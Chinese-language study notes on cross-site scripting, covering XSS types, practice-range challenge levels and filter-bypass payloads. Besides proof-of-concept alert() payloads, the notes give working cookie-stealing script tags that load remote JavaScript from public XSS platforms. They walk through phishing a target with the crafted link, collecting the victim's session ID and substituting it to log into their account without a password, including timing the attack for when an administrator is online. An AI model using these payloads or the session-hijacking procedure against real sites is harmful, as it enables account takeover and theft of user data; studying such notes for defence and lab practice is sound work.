目录
替换cookie
得到cookie之后登录时,F12,存储,在cookie里面找到sessionid的位置,换了就可以了
一、XSS基础
XSS(Cross-Site Scripting)跨站脚本自1996年诞生以来,已经经过了十多年的演化。由于另一种网页技术——层叠式样式表的缩写一样,为了避免混淆,把CSS简称为XSS
在各种攻击漏洞中,XSS跨站脚本攻击漏洞一直被OWASP(Open Web Application Security Project)组织评为十大应用安全之一——高危但难以利用
XSS最大的特点就是能注入恶意HTML/JavaScript代码(前端语言的一种)到用户浏览的网页上面。当用户浏览这些网页时,就会执行其中的恶意代码,这样等同于完全掌握了WEB客户端的逻辑。在此基础上,黑客可以轻易的发起Cookies窃取,会话劫持,钓鱼欺骗等各种各样的攻击手段
通常情况下,XSS既可以是一种安全漏洞,也可以是一种攻击手段
常见应用场景
- 重灾区:评论区、留言区、个人信息、订单信息等
- 针对型:站内信、网页即时通讯、私信、意见反馈
- 存在风险:搜索框、当前目录、图片属性等
点开Pikachu,反射性XSS,在输入框随机输一个姓名缩写,然后会发现在URL上,message上的参数就是输入的参数,可以查看页面源代码确认——Ctrl+F+姓名缩写,然后就会发现在源码里面会有输入参数(Ctrl+F+特定内容——用于查找)
可以看出——前端校验是不可靠的——Fn+F12,就可以改输入框字数的限制
如果在原来的页面代码中的任意标签之后或其内部插入之后,能够弹出来一个框框——<script>alert1</script>,那该页面就存在一个XSS漏洞,如果遇到前端输入限制,可以Fn+F12,也可以直接在URL里面进行修改,效果都是一样的
二、XSS利用最大化
XSS的危害:
- 网络钓鱼,包括盗取各类用户账号
- 窃取用户Cookies,从而获取用户的隐私信息,或者利用用户身份进一步对网站进行操作——也是它被评为十大漏洞之一的主要原因
- 劫持用户浏览器会话,进行任意操作,如非法转账,强制发表日志,发送电子邮件等
- 强制弹出广告,刷流量
- 网页挂马
- 篡改页面信息,删除文章等
- 进行大量的客户端操作,如DDos攻击
- 获取客户端信息,如用户的浏览历史,真实IP,开放端口等
- 操作僵尸机攻击其他网站
- 结合其他漏洞
- 进行用户提权,进一步渗透攻击
- 传播XSS跨站脚本蠕虫......
XSS攻击过程
在网站的输入框里面输入<script>alert(document.cookies)</script>,(document.cookies会弹出用户的cookies信息)下载到Hackerbar里面的时候:尖括号会被URL编码,在Hackerbar里面decode即可
然后就会弹出PHPSESSID=7f2e465870de1489329130(一串hex编码后的数字),SESSID——中间键,是Apache分配的,唯一的“身份证”,从SESSID入手,就可以查取用户的相关信息。互联网中校验用户的身份就是通过SESSID来校验的,如果获取了别人的SESSID,就可以任意登录该用户的账号——但此时弹框只是本地弹框
此时如果要获取的话,就需要一个中间人使用户的SESSID传回(甚至也可以在不弹框的情况下回传),由于地理位置的不同,处于不同的局域网,所以ping不通彼此,但是大家都处在同一个外网里面,可以使用公网服务器作为中间人,使用户弹出的cookies回传到公网服务器,然后操作公网服务器提取用户的cookies
使用中间人的具体做法:
- 公网上有个有XSS漏洞的网站
- 用户使用这个网站且该网站是有价值的
- 公网服务器作为中间人
- 构造恶意语句——把用户的cookies弹到公网服务器上
- 钓鱼
怎么让用户访问该钓鱼链接——成功率不高,使用XSS攻击的时候:
首先要有目标的联系方式,才能把钓鱼链接发给他;
其次要知道对方管理员什么时候在线,因为网站的cookies是有时限的,在网站没登录的时候也是含有cookies信息的(可以打开Hackerbar,在存储栏查看当前尚未登录时的cookies),没登和登录的cookies是完全不同的,如果他没登录,那回弹的cookies就是没用的;
最后还要考虑时间成本,以及基于现在“全民反诈”的普及,目标不一定会点击此链接
三、XSS打cookies实战
1、准备含XSS漏洞的网站
注册云图AI开放平台,它是一个测试网站,也没有什么价值,所以一般不会被打
同源策略:定义不同的域名,cookies不共享——也就是说百度和Google等不同的网站域名、不同浏览器的cookies不共享
也就是说,如果你要自己钓鱼自己的话,也要准备两个不同账号,两个不同浏览器——同一个浏览器只能同时登录一个账号
在该网站随便搜索个关键字,在页面上会有回显,Fn+F12搜索,然后<script>alert(1)</script>,
2、公网服务器作为中间人&恶意语句
找个公网服务器作为中间人,使用XSS平台——公网上的一个打XSS的平台XSS平台-仅用于xss安全测试专用新建项目,项目名称,选超强默认模式,配置,然后在新建的页面选项目代码,可以看到好多语句——但其意思是一样的,都是把目标的cookies弹回到自己这,只是表现形式不一样——打cookies的过程其实很复杂,但是这儿就简化成了几行语句
</tExtArEa>'"><sCRiPt sRC=//xss.yt/Xuzc></sCrIpT>(原ctf_web测试平台)
<sCRiPt sRC=//uj.ci/2xo></sCrIpT>
</tExtArEa>'">文本传输区域,其中的所有的反小括号>都用于作闭合————XSS也存在闭合,且很关键
<sCRiPt>是标签,sRC是跳转访问后面的链接xss.yt/Xuzc
xss.yt是网站域名, Xuzc是编号,相当于是对恶意的JS代码(xss.yt/Xuzc>)进行了一个编号,就是编号完成之后放到域名底下,自己写JS没必要也浪费时间,只要执行了域名的编号,就相当于执行了该恶意JS语句
3、钓鱼
使用替换过了的URL发给目标,诱导目标点击,然后目标的cookies就会回弹到XSS攻击平台上,展开就可以看到该目标的PHPSESSID,然后在自己的同源网站上,笔记本按Fn+F12,调出Hackerbar,点击存储,然后把PHPSESSID换成攻击之后得到的,删掉浏览框里面多余的东西,剩下XXX.php即可,刷新之后就会登录该目标的账号——XSS打cookies时可不输密码而登录账号
四、XSS的三种类型
Pikachu网站可查看相关的平台服务
XSS类型 | 存储型 | 反射型 | DOM型 |
触发过程 | 1、黑客构造XSS脚本 2、正常用户访问携带XSS脚本的网页 | 正常用户访问携带XSS脚本的URL | 正常用户访问携带XSS脚本的URL |
数据存储 | 服务器 | URL | URL |
谁来输出 | 后端Web应用程序 | 后端Web应用程序 | 前端JavaScript |
输入位置 | HTTP响应中 | HTTP响应中 | 用F12查看,不会出现在源代码中 |
是否持久 | 是 | 否 | 否 |
反射性XSS
攻击者事先制作好攻击链接, 需要使用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面
也称为临时XSS,分为GET型和POST型,只要语句缺失了,就不会弹出cookies。保存到数据库的XSS才会永久存在,临时的XSS不会永久存在
存储型XSS
代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)
常见的存在存储型XSS漏洞的就是评论框,因为评论的内容会被收录到数据库,作为数据的一部分,只要能看到评论框留言的都会触发恶意的JS语句
<script>alert(1)</script>
直接弹出1,放弹cookies的语句,就会收到所有浏览该评论的人的cookies
DOM型XSS
基于文档对象模型Document Objeet Model,DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分,DOM中有很多对象,其中一些是用户可以操纵的,如urI ,location,refelter等
客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞
需要检查DOM树,也就是JS树,前端树,在Pikachu里面输入内容后右键查看页面源代码,其回显不一定在哪儿,所以需要审代码,会有个domxss功能,其作用为将输入的内容进行拼接然后展示
五、XSS的挖掘与绕过
XSS防御机制:HTML实体化
XSS靶场欢迎来到XSS挑战,点击图片进入第一关,只要能够弹框就算成功
https://xssaq.com/yx/level1.php?name=<script>alert(1)</script>
然后进入第二关按照第一关,<script>alert(1)</script>,此时没有弹框,查看页面源代码,找到含有输入参数的地方,一共两处:
<h2 align=center>没有找到和<script>alert('xss')</script>>
相关的结果.</h2><center>
<input name=keyword value="'>’<script>alert('xss')</script>>">
可以看见第一处的尖括号被替换了,这就是HTML实体化——尖括号是标签的一部分,HTML会对一些敏感的字符进行HTML编码,正常看的时候仍未尖括号,查看页面源代码的时候,尖括号就会被编码
把第二处闭合之后再添加新的语句,就可以实现弹框
https://xssaq.com/yx/level2.php?keyword=">'<script>alert('xss')</script>>&submit=搜索
XSS闭合与bypass
XSS闭合就是看输入框的语句闭合的条件是什么,然后根据源代码使其闭合,然后根据需要插入相应的恶意语句完成弹框
第三关:使用语句为鼠标移动到输入框上面就会跳转到第四关——bad=' '可有可无,尖括号和单引号都可以闭合跳转
https://xssaq.com/yx/level3.php?keyword=' onmouseover=alert('xss') bad=''>
第四关同理,使用下面语句,使鼠标悬停的时候弹框——尖括号和双引号都可以闭合
https://xssaq.com/yx/level4.php?keyword=" onmouseover=alert('xss') bad=''>
这两关使用的知识点主要是——onmouseover的属性弹框和XSS的闭合的概念
<img src="x" onerror=alert(1)> //img图片标签,src作跳转,跳转失败弹框
<img src=1 onmouseover=alert('xss')> //onmouseover鼠标覆盖之后弹框
<a href="javascript:alert(1)">baidu</a>
//a标签作超链接,但此处点击后,会执行javascript:alert(1)弹框,直接在Fn+F12下输入也会弹框
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
//<script>javascript:alert('xss')</script>亦同,其中javascript不起作用————多用于跳转场景
<script>prompt('xss')</script> //promote,confirm和alert一样也可以弹框——根治XSS需要禁标签
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe> //
<svg onload=alert(1)>
——————————————————————————————————————————————————————————————————————————————————
//以下语句挑环境
<input name="name" value="" onmouseover=prompt('xss') bad=“”> //input
<input type=“hidden” accesskey=“X” onclick=“alert(1)”>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,
116,46,99,111,111,107,105,101,41))
/*适用于绕过黑名单 alert 在跨站中,String.fromCharCode 主要是使到
一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为 ASCII 码,
然后再用 String.fromCharCode 还原,因为大多数的过滤系统都不会把 String.fromCharCode
加以过滤,例如关键字 alert 被过滤掉,那就可以这么利用 alert(document.cookie)*/
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert(1)> 实体化()
<img src=1 onerror=alert()>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script> //
<img src="1" onerror=location="javascript:alert(1)" >
<img src="1" onerror=location="javascript:alert%281%29">
六、XSS盲打Cookies
XSS漏洞难以利用,主要是因为需要进行钓鱼,需要目标的信任
打开Pikachu,使用cmd先查询此时使用的IP地址,然后替换该网的网址,就可以打开了
点开XSS之盲打,点击右上角的提示,然后根据提示的页面资源访问Pikachu的后台,后台登录密码为:admin,123456,此时是对上传内容进入后台之后,XSS打后台
打开渗透工具里面的XSS安全平台,复制第一行的语句,放入Pikachu,然后该网站的cookies就会回传至XSS安全平台,展开可以查看
盲打就是打后台的,但是会有时间限制,因为目标上线的时间不一定